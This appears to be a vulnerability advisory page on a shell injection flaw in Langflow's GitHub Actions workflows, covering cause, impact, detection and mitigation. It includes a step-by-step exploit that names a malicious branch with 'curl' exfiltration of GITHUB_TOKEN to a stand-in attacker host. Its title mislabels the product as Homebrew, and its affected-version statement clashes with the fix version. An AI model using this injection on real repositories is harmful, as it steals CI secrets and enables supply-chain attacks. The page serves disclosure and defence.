CVE-2026-33475: 
Homebrew vulnerability analysis and mitigation

CVE-2026-33475 is a shell injection vulnerability in Langflow's GitHub Actions CI/CD workflows that allows unauthenticated remote attackers to execute arbitrary shell commands during pipeline execution. Affecting Langflow versions prior to 1.3.5 (with the fix delivered in 1.9.0), the flaw stems from unsanitized interpolation of user-controlled GitHub context variables (e.g., ${{ github.head_ref }}) directly into run: shell steps. Disclosed on March 20–24, 2026, it carries a CVSS v3.1 base score of 9.1 (Critical) (GitHub Advisory).

The root cause is improper neutralization of special elements in OS commands (CWE-78) and downstream component output (CWE-74). Multiple workflow files in .github/workflows/ and .github/actions/ directly interpolate GitHub context variables — such as github.head_ref, github.event.pull_request.title, and inputs.* — into shell run: steps without quoting or sanitization, for example: validate_branch_name "${{ github.event.pull_request.head.ref }}" and npx playwright install ${{ inputs.browsers }} --with-deps. Because these values are user-controlled (via branch names or PR titles), an attacker can embed shell metacharacters and arbitrary commands that the GitHub Actions runner executes in the CI environment. Affected files include .github/actions/install-playwright/action.yml, deploy-docs-draft.yml, docker-build.yml, release_nightly.yml, python_test.yml, and typescript_test.yml (GitHub Advisory).

Successful exploitation grants an attacker full access to CI/CD secrets available during workflow execution, most critically the GITHUB_TOKEN, which can be used to push malicious tags or container images, tamper with releases, or exfiltrate sensitive infrastructure data. The vulnerability enables supply chain compromise by allowing an unauthenticated external contributor to inject commands that run with the repository's CI permissions. Confidentiality and integrity are both rated High, as secrets can be stolen and repository artifacts can be manipulated, though availability is not directly impacted (GitHub Advisory).

A detailed proof-of-concept is publicly available in the GitHub Security Advisory, providing step-by-step instructions for exploiting the vulnerability via a crafted branch name. No authentication or special privileges are required — any user who can open a pull request against the repository can trigger the injection. The EPSS score is 0.052% (low probability of broad exploitation), and there is no current evidence of in-the-wild exploitation or CISA KEV listing, though the PoC lowers the barrier to exploitation significantly (GitHub Advisory).

1. Reconnaissance: Identify a target Langflow repository (or fork) running GitHub Actions workflows that reference ${{ github.head_ref }} or similar user-controlled context variables in run: steps.
2. Fork the repository: Create a personal fork of the Langflow repository to gain the ability to create branches and open pull requests.
3. Create a malicious branch: Name the new branch with an injected shell payload, e.g.:

   injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN

4. Open a Pull Request: Submit a pull request from the malicious branch to the main branch of the target repository. This triggers the affected GitHub Actions workflow.
5. Workflow execution: The CI runner evaluates the run: step containing echo "Branch: ${{ github.head_ref }}", which expands to:

   echo "Branch: injection-test" && curl https://attacker.site/exfil?token=$GITHUB_TOKEN

6. Secret exfiltration: The injected curl command executes in the CI environment and sends the GITHUB_TOKEN (or other available secrets) to the attacker-controlled server, enabling further supply chain attacks (GitHub Advisory).

• Network: Outbound HTTP/HTTPS requests from GitHub Actions runner IPs to unexpected external domains (e.g., attacker-controlled exfiltration endpoints) during workflow execution; unusual DNS lookups originating from CI runner environments.
• Logs: GitHub Actions workflow logs showing unexpected shell commands executing within run: steps, particularly commands like curl, wget, or nc not present in the workflow YAML; workflow runs triggered by pull requests from forked repositories with unusual branch names containing shell metacharacters (&&, ||, ;, $()).
• CI/CD Artifacts: Unexpected tags, releases, or container image pushes to registries shortly after a suspicious PR-triggered workflow run; unauthorized commits or changes to release artifacts.
• GitHub Audit Log: Pull request events from external contributors with branch names containing shell special characters; workflow runs on pull_request_target events from forks (GitHub Advisory).

Upgrade Langflow to version 1.9.0 or later, which patches the vulnerability by refactoring affected workflows. As an immediate workaround, replace direct ${{ ... }} context interpolation in run: steps with environment variable indirection and proper quoting:

env:
  BRANCH_NAME: ${{ github.head_ref }}
run: |
  echo "Branch is: \"$BRANCH_NAME\""

Additionally, apply the principle of least privilege to GITHUB_TOKEN scopes, pin action versions to specific commit SHAs, and consider restricting which workflows run on pull requests from forks (GitHub Advisory).

The Belgian Centre for Cybersecurity (CCB) issued an advisory urging immediate patching, characterizing the vulnerability as critical (CCB Advisory). German technology outlet Heise reported on observed malicious code attacks targeting Langflow, amplifying urgency for patching (Heise). The vulnerability was also noted on Bluesky and tracked across multiple threat intelligence platforms including VulDB and CIRCL shortly after disclosure.